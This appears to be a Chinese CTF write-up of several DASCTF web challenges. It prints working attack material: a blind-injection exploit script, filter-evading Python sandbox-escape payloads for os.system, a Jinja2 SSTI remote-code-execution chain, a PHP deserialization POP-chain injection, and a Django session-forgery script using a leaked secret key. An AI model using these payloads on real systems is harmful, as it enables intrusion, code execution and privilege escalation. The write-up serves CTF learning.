Author:颖奇L’Amore Blog:www.gem-love.com
本次比赛因为参与出题了(web/checkin web/Subscribemisc/PhysicalHacker),就开了个小号主要是做做其他师傅的题,对分数排名也没啥追求,好多题做了也没交flag。然后因为安恒有规定,自己出的题就不写wp了,其他师傅的题也都很有意思,挑几个题写写wp
简单的计算题-1 考点:python布尔盲注 难度:简单
from flask import Flask, render_template, request,sessionfrom config import black_list,createimport osapp = Flask(__name__) app.config['SECRET_KEY' ] = os.urandom(24 ) @app.route('/' , methods=['GET' , 'POST' ] ) def index (): def filter (string ): for black_word in black_list: if black_word in string: return "hack" return string if request.method == 'POST' : input = request.form['input' ] create_question = create() input_question = session.get('question' ) session['question' ] = create_question if input_question==None : return render_template('index.html' , answer="Invalid session please try again!" , question=create_question) if filter (input )=="hack" : return render_template('index.html' , answer="hack" , question=create_question) try : calc_result = str ((eval (input_question + "=" + str (input )))) if calc_result == 'True' : result = "Congratulations" elif calc_result == 'False' : result = "Error" else : result = "Invalid" except : result = "Invalid" return render_template('index.html' , answer=result,question=create_question) if request.method == 'GET' : create_question = create() session['question' ] = create_question return render_template('index.html' ,question=create_question) @app.route('/source' ) def source (): return open ("app.py" , "r" ).read() if __name__ == '__main__' : app.run(host="0.0.0.0" , debug=False )
两个计算器题目差不多,都是一个计算器
分析代码可知,他是有一个黑名单waf但是我们不知道是什么,然后就是eval(算式==input)
,并且有三种不同回显,很明显是要我们利用这个eval()
来读flag 最开始因为过滤不全可以直接用os.system()
一键打穿,后来修复了。那也很简单,就盲注一下就可以了,exp:
import requestsimport refrom urllib.parse import quote as urlencodedef main ():alphabet = ['{' ,'}' , '@' , '_' ,',' ,'a' ,'b' ,'c' ,'d' ,'e' ,'f' ,'j' ,'h' ,'i' ,'g' ,'k' ,'l' ,'m' ,'n' ,'o' ,'p' ,'q' ,'r' ,'s' ,'t' ,'u' ,'v' ,'w' ,'x' ,'y' ,'z' ,'A' ,'B' ,'C' ,'D' ,'E' ,'F' ,'G' ,'H' ,'I' ,'G' ,'K' ,'L' ,'M' ,'N' ,'O' ,'P' ,'Q' ,'R' ,'S' ,'T' ,'U' ,'V' ,'W' ,'X' ,'Y' ,'Z' ,'0' ,'1' ,'2' ,'3' ,'4' ,'5' ,'6' ,'7' ,'8' ,'9' ] proxies={'http' :'http://127.0.0.1:8080' ,'https' :'https://127.0.0.1:8080' } data={"input" :"" } s = requests.Session() flag = '' for i in range (0 ,100 ):for char in alphabet:try :r = s.post("http://183.129.189.60:10026/" , data={"input" :"" }) question = re.search(r"<h4>(.*)</h4>" , r.content.decode(), re.Mre.I).group().replace("<h4>" , "" ).replace("</h4>" ,"" )[:-1 ] data["input" ] = "{0} and '{2}'==(open('/flag','r').read()[{1}])" .format (question, i, char) r = s.post("http://183.129.189.60:10026/" , data=data, proxies=proxies) result = r.content.decode() if r"Congratulations" in result:flag += char print (flag)break except Exception as e:print ("Exception: " , end='' )print (e)if __name__ == '__main__' :main()
简单的计算题-2 考点:沙箱逃逸 难度:简单 这题我是非预期了,直接逃逸掉了题目所有过滤,虽然俩题的过滤不一样,但是我的payload对这俩题都通杀 其他地方代码都一样,主要是这里:
if request.method == 'POST': input = request.form['input '] create_question = create() input_question = session.get('question') session['question '] = create_question if input_question == None: return render_template('index .html ', answer ="Invalid session please try again!" , question =create_question ) if filter(input)=="hack" : return render_template('index .html ', answer ="hack" , question =create_question ) calc_str = input_question + "=" + str(input) try : calc_result = str((eval(calc_str))) except Exception as ex: calc_result = "Invalid" return render_template('index .html ', answer =calc_result ,question =create_question )
这里这个回显更直接,不过我觉得出题人这里不应该给回显,不然这俩题的难度区分实在是有点小。所以我想的是假装它没有任何回显,然后构造payload把题目打穿 。很容易就要想到去bypass过滤然后执行系统命令,那么如何bypass?当然是sandbox escape 因为简单fuzz发现这俩题的blacklist还不一样,懒得fuzz这题了,直接准备一个万能payload绕过所有过滤就可以了。那么如何绕?只要实现关键字为字符串拼接不就行了,比如system
被过滤,但是总不能把's'+'y'+'s'+'t'+'e'+'m'
这样的给过滤吧。 沙箱逃逸老生常谈的话题,我也不想多介绍了,直接用getattr()
就行了,虽然getattr()
通常被用来bypass.
而本题.
并没有被过滤。 原型payload:
''.\_ \_ class\_ \_ .\_ \_ mro\_ \_ \[ 1\] .\_ \_ subclasses\_ \_ ()\[ 104\] .\_ \_ init\_ \_ .\_ \_ globals\_ \_ \[ "sys"\] .modules\[ "os"\] .system("ls")
bypass waf变种payload:
getattr(getattr (getattr (getattr (getattr (getattr (getattr (\[\],'\_\_cla'+'ss\_\_'),'\_\_mr'+'o\_\_')\[1 \],'\_\_subclas'+'ses\_\_')()\[104 \],'\_\_init\_\_'),'\_\_glob'+'al'+'s\_\_')\['sy'+'s'\],'mod'+'ules')\['o'+'s'\],'sy'+'ste'+'m')('l'+'s')
这俩计算器题通杀,都能直接反弹shell:
当然,还有更简单的。。。
eval ("o" +"s.s" +"y" +"s" +"t" +"e" +"m('wh" +"oa" +"m" +"i')" ) exec ("o" +"s.s" +"y" +"s" +"t" +"e" +"m('wh" +"oa" +"m" +"i')" )
把whoami改成反弹shell的就行了(不过只有第一天晚上可以用,后来就被修复了)。
easyflask 考点:RSA、Flask SSTI、Flask Session伪造(非预期可跳过这一步) 难度:困难 第一步是个baby rsa,输入N和e题目给返回c
然后求明文就好了,求出来的就是身份认证需要的token
之后用这个token身份认证,即可来到一个登录页面
输入{{7\*7}}
,可以发现存在模板注入
可以看到下面这一句说我们不是admin,登录上是有session的,用flask session decoder解一下:
所以这题的大致意思应该是ssti读文件得到secret_key然后伪造session。 但是这个题过滤的实在是太多了,引号、中括号、()
、join
等等,过滤还得自己fuzz,我fuzz出来多少个过滤自己都数不过来。而且不仅用户名有过滤,url里也不能出现相关的黑名单关键字。 本题目没ban掉request,所以基本上就是用request.args.param
来绕过,我相信出题人也是这个意思,所以才对url也进行了过滤来保证最后SSTI只能用来文件读取并不能用来RCE。 但作为本次比赛承办方成员之一,本着测题的原则,还是决定一定要RCE,本地写了个flask结果还和题目环境不太一样,导致我好几个payload都本题打得通然后远程打不通。第一天比赛暂停后的1h(0:00)我偷偷开了这题的环境开始RCE,一直到4:30经过四个半小时努力,终于成功打穿。
本题目最大的问题是在于如何绕过黑名单,在url上bypass基本上不可能了,因为字符串什么的都是被ban掉的。后来突然想到可以用header,request.headers
的类型为<class 'werkzeug.datastructures.EnvironHeaders'>
,一般是request.headers["User-Agent"]
这样来获取一个http头字段的值的,然而我们并不能用大括号和引号,看了他的属性也没找到合适的能获取某个字段值的方法
我尝试用元组转列表然后repr()
转字符串,然后再切片,经过一通操作,确实成功了,但是丢给flask直接出错,本地调试看到报错才突然想起来,repr()
这种函数在模板里都是Undiefined的! 但是后来测试发现,在Jinja2渲染时可以直接request.headers.User-Agent
这样获取一个header,那所有问题就直接迎刃而解了!能够获取到header意味着bypass了所有黑名单过滤,之后就是想办法把system()
给构造出来了。 构造时候也有几个坑:
()
不能用,调用完函数再接上attr()
时候可以把前面的括号多套一层括号来绕过
找类的链子很重要,因为题目的class不是固定的
list
和dict
的__getitem__
用法不一样,前者直接index而后者需要键名(字符串)
一步一步来,用__subclasses__()
把所有子类打出来然后找合适的
无法反弹shell,os.system()
无回显
其他就不多bb了,自己上手操作一下就感受到了,最终payload为:
{{(((({}attr (request.headers.y1ng1 )attr(request.headers.y1ng2 )))attr(request.headers.y1ng4 )(1 )attr(request.headers.y1ng3 )())attr(request.headers.y1ng4 )(398 )attr(request.headers.y1ng5 )attr(request.headers.y1ng6 )attr(request.headers.y1ng4 )(request.headers.y1ng7 )(request.headers.y1ng8 )).read()}}
其中y1ng8是要执行的命令,先把app.py的源码cat出来:
from flask import Flask,render_template,request,session,url_for,redirect,render_template_stringimport osimport hashlibapp = Flask(__name__) app.config['SECRET_KEY' ] = "flag{265eac50c18fa6f255a1fc253dc7ff7b}" flag = b'flag{265eac50c18fa6f255a1fc253dc7ff7b}' token = hashlib.md5(flag).hexdigest() @app.route('/' ,methods=['GET' ,'POST' ] ) def index (): global token message = {"info" :"Give me your public key and I will give you token" , "token" :"null" } if request.method == 'POST' : N = request.form.get('N' ) or None e = request.form.get('e' ) or None try : if N is not None and e is not None : message["info" ] = pow (int .from_bytes(token.encode(), 'big' ), int (e), int (N)) except : message["info" ] = "N or e wrong" user_token = request.form.get('token' ) or None if user_token == token : session['token' ] = token return redirect(url_for('login' )) else : message["token" ] = "wrong" return render_template('index.html' , message = message) @app.route('/login/' ,methods=['GET' ,'POST' ] ) def login (): global token if session.get('token' ,None )==token: if request.method == 'POST' : username = request.form.get('username' ) session['username' ] = username session['admin' ] = False return redirect(url_for('user' )) return render_template('login.html' ) return redirect(url_for('index' )) def check (payload, url ): black_list = ['sys' , 'dict' , 'self' , 'range' , 'format' , ']' , 'namespace' , 'popen' , '[' , 'timeit' , 'os' , '__class__' , "'" , 'pty' , 'joiner' , '"' , 'g' , 'subprocess' , 'join' , 'config' , 'commands' , 'importlib' , 'class' , '_' , 'url_for' , 'system' , 'import' , 'eval' , 'exec' , 'lipsum' , 'platform' , 'request[request.' , 'get_flashed_messages' , 'cycler' , '%2b' , 'session' , '()' , '+' ] sys_list = ['sys' , 'dict' , 'self' , 'range' , 'format' , ']' , 'namespace' , 'popen' , '[' , 'timeit' , 'os' , "'" , 'pty' , 'joiner' , '"' , 'g' , 'subprocess' , 'join' , 'config' , 'commands' , 'importlib' , 'url_for' , 'system' , 'import' , 'eval' , 'exec' , 'lipsum' , 'platform' , 'request[request.' , 'get_flashed_messages' , 'cycler' , '%2b' , 'session' , '()' , '+' ] for i in sys_list: if url.find(i) != -1 : return False for i in black_list: if payload.find(i) != -1 : return False return True @app.route('/user/' ,methods=['GET' ] ) def user (): try : if (session['username' ] != "" ) and (request.method == 'GET' ) and session.get('token' ,None ): name = request.args.get('username' ) or session.get('username' ,None ) template = ''' <p>The girls in DASCTF are beautiful !</p></br> <p>Congratulations on %s's girlfriend!</p> <p>But admin is {{ session.admin }}!You can't get /flag</p> ''' % name if name!="" and check(name,request.url): return render_template_string(template, name=name) else : return "check error" except : template = '<h2>something wrong!</h2>' return render_template_string(template) @app.route('/flag/' ,methods=['GET' ] ) def get_flag (): if session.get('admin' ,None ): return os.getenv('FLAG' ) return "No permission for true flag" @app.errorhandler(404 ) def page_not_found (e ): template = ''' <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> </div> ''' return render_template_string(template)
这里面有个flag但是是假flag,那个只是secret_key,代码告知真正的flag在环境变量中,所以执行以下env就行了:
这里我payload用的是os.popen().read()
所以是有回显的。 如果是读文件,读完了源码得到了key,只要伪造session就好了:
之后带着session去访问http://xxx/flag即可得到flag
phpuns 考点:PHP反序列化字符逃逸 难度:普通 和四月月赛的反序列化大体一样 https://www.gem-love.com/ctf/2275.html 登录就把用户和密码存进session,然后对session反序列化。这过程中会进行字符替换造成字符逃逸:
function add ($data ) { $data = str_replace(chr(0 ).'*' .chr(0 ), '\0*\0' , $data ); return $data ; } function reduce ($data ) { $data = str_replace('\0*\0' , chr(0 ).'*' .chr(0 ), $data ); return $data ; } function check ($data ) { if (stristr($data , 'c2e38' )!==False ){ die ('exit' ); } } $user = new User($username , $password );$_SESSION ['info' ] = add(serialize($user ));check(reduce($_SESSION ['info' ])); $tmp = unserialize(reduce($_SESSION ['info' ]));
class.php:
<?php class User { protected $username ; protected $password ; protected $admin ; public function __construct ($username , $password ) { $this ->username = $username ; $this ->password = $password ; $this ->admin = 0 ; } public function get_admin ( ) { return $this ->admin; } } class Hacker_A { public $c2e38 ; public function __construct ($c2e38 ) { $this ->c2e38 = $c2e38 ; } public function __destruct ( ) { if (stristr($this ->c2e38, "admin" )===False ){ echo ("must be admin" ); }else { echo ("good luck" ); } } } class Hacker_B { public $c2e38 ; public function __construct ($c2e38 ) { $this ->c2e38 = $c2e38 ; } public function get_c2e38 ( ) { return $this ->c2e38; } public function __toString ( ) { $tmp = $this ->get_c2e38(); $tmp (); return 'test' ; } } class Hacker_C { public $name = 'test' ; public function __invoke ( ) { var_dump(system('cat /flag' )); } }
pop链很简单: Hacker_A
的__destruct()
中将$this->c2e38
作为字符串比较,触发Hacker_B
的__toString()
__toString()
中通过调用$this->get_c2e38()
方法获取了Hacker_B
的$c2e38
属性并作为方法调用$tmp()
,进而触发Hacker_C
的__invoke()
方法 __invoke()
内system('cat /flag')
,得到flag pop链构造好,然后字符逃逸注入对象,之后反序列化最终触发system()
即可。字符逃逸原理去看DASCTF四月月赛的Ezunserialize就好了,不再过多介绍了 exp:
输入如下用户名和密码:
username:y1ng\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0\\ 0\* \\ 0 password:";S:11:"\\ 00\* \\ 00password";O:8:"Hacker\_ A":1:{S:5:"\\ 63\\ 32\\ 65\\ 33\\ 38";O:8:"Hacker\_ B":1:{S:5:"\\ 63\\ 32\\ 65\\ 33\\ 38";O:8:"Hacker\_ C":1:{s:4:"name";s:4:"test";}}};s:1:"a";s:0:"
顺便说下,因为题目把c2e38
给ban了,所以用S:5:"\63\32\65\33\38"
来绕过,和用S+\00
来绕过chr(0)
是一样的,因为S
大写,后面字符串里就可以解析hex了
filecheck 考点:_io.TextIOWrapper类、Django session伪造 难度:难
显示随便注册登录,然后登录,在readable可以看是否有读取某个文件的权限
根据这个file参数,换成读取别的,被告知必须是xyz结尾的
因为昨天做easyflask时候发现出题人用了uri,然后这题和那个题是同一个人出的,我感觉可能相同办法,于是后面加了个参数果然就OK了
然后如果是不存在的文件,就会爆出file not found的错,说明这个功能可以探测文件是否存在
然而,这也没啥用。过了一会儿,一个偶然的小失误,因为吧readable手打给拼错了,直接爆出了重要信息
_io.TextIOWrapper
肯定无人不晓, f=open('/tmp/1,txt','r')
,然后f
就是<_io.TextIOWrapper name='/tmp/1.txt' mode='r' encoding='UTF-8'>
,然后用dir()
看下它的属性:
可以发现readable
实际上就是它的一个方法,他还有read
和readline
等可以读文件,所以直接调用read()
方法读文件:
比赛结束时有个师傅告诉我,这个任意文件读取可以直接非预期一把梭:
不过我当时没想起来这么用。。一时间卡住了不知道读什么文件好了。之后我就来fuzz,首先得知当前运行的文件肯定是在/xxx/
目录内,距离根目录只有一层
然后/app目录也是存在的,所以基本上flask就在/app目录下
可是读app.py没读到源码,之后就根据flask的常见layout开始逐个爆破
最后因为最开始的readable给了challenge文件夹,可能是个project,根据Structure of a Flask Project在里面读到了views.py
views.py里存了一些路由,没什么卵用,只是告诉我们那个sha256的token只是障眼法不需要爆破
def read_file (request ): if not request.session.get('is_login' , None ): return redirect('/' ) message = "Read" token = request.GET.get('token' ) or None try : if hashlib.sha256(token.encode()).hexdigest()[:20 ] == '3abd72ec6352d6085d85' : error = "Not here.Be careful!" return render(request, 'index/index.html' , locals ()) except Exception as error: error = "sha256(GET[token])[:20] must be 3abd72ec6352d6085d85" return render(request, 'index/index.html' , locals ()) return render(request, 'index/index.html' , locals ())
之后根据/proc/self/cmdline得到了manage.py,读取一下:
"""Django's command-line utility for administrative tasks.""" import osimport sysdef main (): os.environ.setdefault('DJANGO_SETTINGS_MODULE' , 'hainep.settings' ) try : from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__' : main()
从这个姜狗有关的代码中得到了一个关键字:hainep.settings
然后因为他自己也说了用了Django,并且还给了project的名叫hainep:
果然hainep这个文件夹是存在的
参考:
https://docs.djangoproject.com/en/2.2/topics/settings/
然后顺理成章连蒙再猜从hainep/settings.py中读到了django的settings
""" Django settings for hainep project. Generated by 'django-admin startproject' using Django 2.2.11. For more information on this file, see https://docs.djangoproject.com/en/2.2/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/2.2/ref/settings/ """ import osBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) SECRET_KEY = '&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn' SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies' DEBUG = False ALLOWED_HOSTS = ['*' ] INSTALLED_APPS = [ 'django.contrib.admin' , 'django.contrib.auth' , 'django.contrib.contenttypes' , 'django.contrib.sessions' , 'django.contrib.messages' , 'django.contrib.staticfiles' , 'challenge' , ] MIDDLEWARE = [ 'django.middleware.security.SecurityMiddleware' , 'django.contrib.sessions.middleware.SessionMiddleware' , 'django.middleware.common.CommonMiddleware' , 'django.middleware.csrf.CsrfViewMiddleware' , 'django.contrib.auth.middleware.AuthenticationMiddleware' , 'django.contrib.messages.middleware.MessageMiddleware' , 'django.middleware.clickjacking.XFrameOptionsMiddleware' , ] ROOT_URLCONF = 'hainep.urls' TEMPLATES = [ { 'BACKEND' : 'django.template.backends.django.DjangoTemplates' , 'DIRS' : [os.path.join(BASE_DIR, 'templates' )], 'APP_DIRS' : True , 'OPTIONS' : { 'context_processors' : [ 'django.template.context_processors.debug' , 'django.template.context_processors.request' , 'django.contrib.auth.context_processors.auth' , 'django.contrib.messages.context_processors.messages' , ], }, }, ] WSGI_APPLICATION = 'hainep.wsgi.application' DATABASES = { 'default' : { 'ENGINE' : 'django.db.backends.sqlite3' , 'NAME' : os.path.join(BASE_DIR, 'db.sqlite3' ), } } AUTH_PASSWORD_VALIDATORS = [ { 'NAME' : 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator' , }, { 'NAME' : 'django.contrib.auth.password_validation.MinimumLengthValidator' , }, { 'NAME' : 'django.contrib.auth.password_validation.CommonPasswordValidator' , }, { 'NAME' : 'django.contrib.auth.password_validation.NumericPasswordValidator' , }, ] LANGUAGE_CODE = 'zh-hans' TIME_ZONE = 'Asia/Shanghai' USE_I18N = True USE_L10N = True USE_TZ = False STATIC_URL = '/static/' STATIC_ROOT = os.path.join(BASE_DIR, 'static' ) STATICFILES_DIRS = ( os.path.join(BASE_DIR, 'challenge/static/' ), )
得到SECRET_KEY = '&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn'
然后hint让看cookie,发现是django session,参考:
https://docs.djangoproject.com/en/2.2/topics/signing/
加上题目告诉访问/flag去获取flag,然后我们自己访问还没有权限,于是可以肯定这是个Django session伪造问题。参考:
https://althims.com/2019/10/25/client-session/ https://github.com/ustclug/hackergame2019-writeups/tree/master/official/%E8%A2%AB%E6%B3%84%E6%BC%8F%E7%9A%84%E5%A7%9C%E6%88%88
exp:
import osos.environ.setdefault('DJANGO_SETTINGS_MODULE' ,'settings' ) from django.conf import settingsfrom django.core import signingfrom django.contrib.sessions.backends import signed_cookiesfrom passlib.hash import pbkdf2_sha256from django.contrib.auth.hashers import make_password, check_passwordsess = signing.loads('.eJyrVsosjk9Myc3MU7JKS8wpTtVRKi1OLYrPTFGyMjQ0MtcByefkp4PkS4pKYdJ5ibmpSlZKlYZ56Uq1ACNNFxA:1jokij:bIoWAUDVUDfSbXack05GuSCYKMk' , key='&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn' ,salt='django.contrib.sessions.backends.signed_cookies' ) print (sess)sess[u'is_admin' ] = True print (sess)s= signing.dumps(sess, key='&9=p6sj5o_5%)$r*&l)p$#ik$o^$v4hzx=_&pqtag9(@ww#2bn' ,compress=True , salt='django.contrib.sessions.backends.signed_cookies' ) print (s)
可以发现成功伪造成为了管理员,并得到了新的session
带着新cookie去访问flag即可得到flag: